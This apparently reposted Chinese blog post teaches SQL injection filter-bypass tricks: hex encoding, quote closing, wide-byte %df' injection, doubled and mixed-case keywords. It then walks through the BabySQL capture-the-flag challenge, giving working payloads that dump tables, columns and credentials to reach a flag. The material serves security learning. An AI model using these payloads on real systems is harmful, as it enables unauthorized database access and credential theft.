SQL注入绕过(passby)策略
SQL注入繞過技巧
空格繞過
引號(hào)繞過
采用16進(jìn)制編碼繞過,例如:
select column_name from information_schema.columns where table_name='users'選中users,將其改為16進(jìn)制編碼
select column_name from information_schema.tables where table_name=0x7573657273繞過注釋符:#、-- -
通過閉合后面的引號(hào)來進(jìn)行繞過
- id=1' union select 1,2,3||'1
- id=1' union select 1,2,'3
- Id=1’ where ‘1’=‘1
- Id=1’ and ‘1’=‘1
- Id=1’ or ‘1’=‘1
寬字節(jié)注入:
大家都知道PHP在開啟magic_quotes_gpc或者使用addslashes、iconv等函數(shù)的時(shí)候,單引號(hào)(')會(huì)被轉(zhuǎn)義成\'。比如字 符%bf在滿足上述條件的情況下會(huì)變成%bf\'。其中反斜杠(\)的十六進(jìn)制編碼是%5C,單引號(hào)(')的十六進(jìn)制編碼是%27,那么就可以得出%bf \'=%bf%5c%27。如果程序的默認(rèn)字符集是GBK等寬字節(jié)字符集,則MySQL會(huì)認(rèn)為%bf%5c是一個(gè)寬字符,也就是“縗”。也就是說%bf \'=%bf%5c%27=縗'。
?id=1%df'
代替and,or,not等等
繞過union,select,where等:
- uniounionn:雙寫繞過 union、select、where等.
- U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
- UniOn:大小寫繞過
例題:[極客大挑戰(zhàn) 2019]BabySQL1
首先輸入萬能密碼進(jìn)行嘗試:' or '1'='1-- -,發(fā)現(xiàn)回顯是錯(cuò)誤用戶名和密碼,說明沒有注入成功,然后輸入在用戶名處輸入1'發(fā)現(xiàn)報(bào)錯(cuò)。
根據(jù)報(bào)錯(cuò)信息推斷出閉合的條件就是單引號(hào)',所以繼續(xù)在用戶名處輸入1'-- -,密碼:1(一下密碼不做特殊聲明外均為1)進(jìn)一步驗(yàn)證判斷是否正確。
發(fā)現(xiàn)成功注入,說明閉合條件判斷正確,同時(shí)能夠確認(rèn)幾點(diǎn)信息:
確認(rèn)幾點(diǎn)信息之后繼續(xù)輸入語句進(jìn)行判斷數(shù)據(jù)庫的列數(shù),方便進(jìn)一步注入。
?username=admin' order by 1,2,3,4 -- -&password=1發(fā)現(xiàn)報(bào)錯(cuò)的回顯為:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'der 1,2,3,4 -- -' and password='1'' at line 1
這里說明輸入的order by語句被過濾了or,導(dǎo)致最后語句只輸入了der 1,2,3,4,所以首先嘗試雙寫or,即寫為oorrder進(jìn)行嘗試,看看能否成功。
?username=admin' oorrder by 1,2,3,4 -- -&password=1輸入之后發(fā)現(xiàn)order的問題沒有繼續(xù)報(bào)錯(cuò),但是by被屏蔽了,所以同樣的處理雙寫by為bbyy,最終的語句為:
?username=admin' oorrder bbyy 1,2,3,4 -- -&password=1?輸入語句之后發(fā)現(xiàn)回顯為:Unknown column '4' in 'order clause'。說明一共只有三列。這時(shí)候輸入union select語句去判斷顯示位
?username=admin' and 1=2 union selcet 1,2,3 -- -&password=1發(fā)現(xiàn)報(bào)錯(cuò)的回顯為:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=2 selcet 1,2,3 -- -' and password='1'' at line 1。說明union被過濾了,所以同樣的辦法,雙寫union為ununionion繼續(xù)嘗試。發(fā)現(xiàn)仍然報(bào)錯(cuò),這時(shí)候繼續(xù)雙寫select為seselectlect嘗試。發(fā)現(xiàn)成功。
?username=-1' ununionion seselectlect 1,2,3 -- -&password=1?找出顯示位以后繼續(xù)輸入如下語句,依次爆出數(shù)據(jù)庫,表名以及列名。
?username=-1' ununionion seselectlect 1,2,database()-- -&password=1?username=-1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() -- -&password=1?username=-1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' -- -&password=1?列名如下:
?發(fā)現(xiàn)還沒有找到flag值,所以繼續(xù)爆id,username,password看看flag是否隱藏在數(shù)據(jù)之中。
?username=-1' ununionion seselectlect 1,2,group_concat(id,0x3a,username,0x3a,passwoorrd) frfromom b4bsql -- -&password=1?發(fā)現(xiàn)flag值隱藏在password之中,其值為:flag{7186e94f-091e-4e44-8736-c93c5534aa64}
總結(jié)
以上是生活随笔為你收集整理的SQL注入绕过(passby)策略的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python计算多边形面积
- 下一篇: 学习mysql_day3_高级查询1(聚